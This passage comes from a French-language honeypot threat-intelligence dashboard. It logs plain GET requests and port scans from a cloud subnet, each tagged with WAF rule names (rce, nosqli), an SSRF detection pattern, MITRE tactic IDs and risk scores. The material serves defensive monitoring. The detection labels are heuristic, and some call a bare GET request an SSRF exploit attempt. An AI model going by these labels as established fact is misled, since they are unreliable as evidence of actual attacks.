"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d'exploit)",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:50:59 UTC
TCP
8501 · HTTP
SSRF interne
ssrf internal · via HTTP:8501 · (tentative d'exploit)
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8501
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8501
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8501 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "182ae9c2f64add816b3e70f7f8c7bbb406087031",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.386378457647788,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8501,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.5,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 52,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "bc38276953331c6898263407de5454389c58a5a8",
"event_fingerprint": "c2378983c0fac6898d57a6652cd705a0d79be1cb",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "31cb6109fae308b97583b01f6cabc653",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8501,
"service": "http",
"service_name": "http",
"risk_score": 52
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "024686ae84dd925432c170fea980574c8f05792d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8501,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8501 \u00b7 (tentative d'exploit)",
"target_port_label": "8501 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8501,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8501,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8501 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8501 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8501"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"splunk"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
30/07/2026 18:47:28 UTC
TCP
8098 · HTTP
Scan de ports
port scan syn · via HTTP:8098 · (reconnaissance)
Élevée
Moyen · 53
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan rapide multi-ports
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8098
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +28
Risque capteur
Moyen
· 53
Confiance : Confiance 100 % — 3 tag(s) WAF
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8098
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8098 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "85c47ddeb33f86ad31706848f828b6c859fd8929",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.3666559632548365,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8098,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 25,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15
},
"risk_score": 53,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "f619c107fa0c70395daa9c6ab94ad49bb60c1bce",
"event_fingerprint": "6eb627d83d39abbafc7bf052c78fdedabc2bd43f",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 28
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "06493cb184ff7bdebabcd050e62bafbb",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8098,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "155087d52fbd3a92c10f7c6614228f95e3ccd117",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8098,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)",
"target_port_label": "8098 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 28
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8098,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_rapide",
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan rapide multi-ports",
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +28",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8098,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8098 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +28 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8098"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
8083,
8084,
8087,
8089,
8090,
8098
],
"rapid_port_scan": true,
"rapid_scan_distinct_ports": 3,
"scan_velocity_ports_per_s": 0.73,
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"splunk"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"rapid_port_scan",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 28,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:27 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
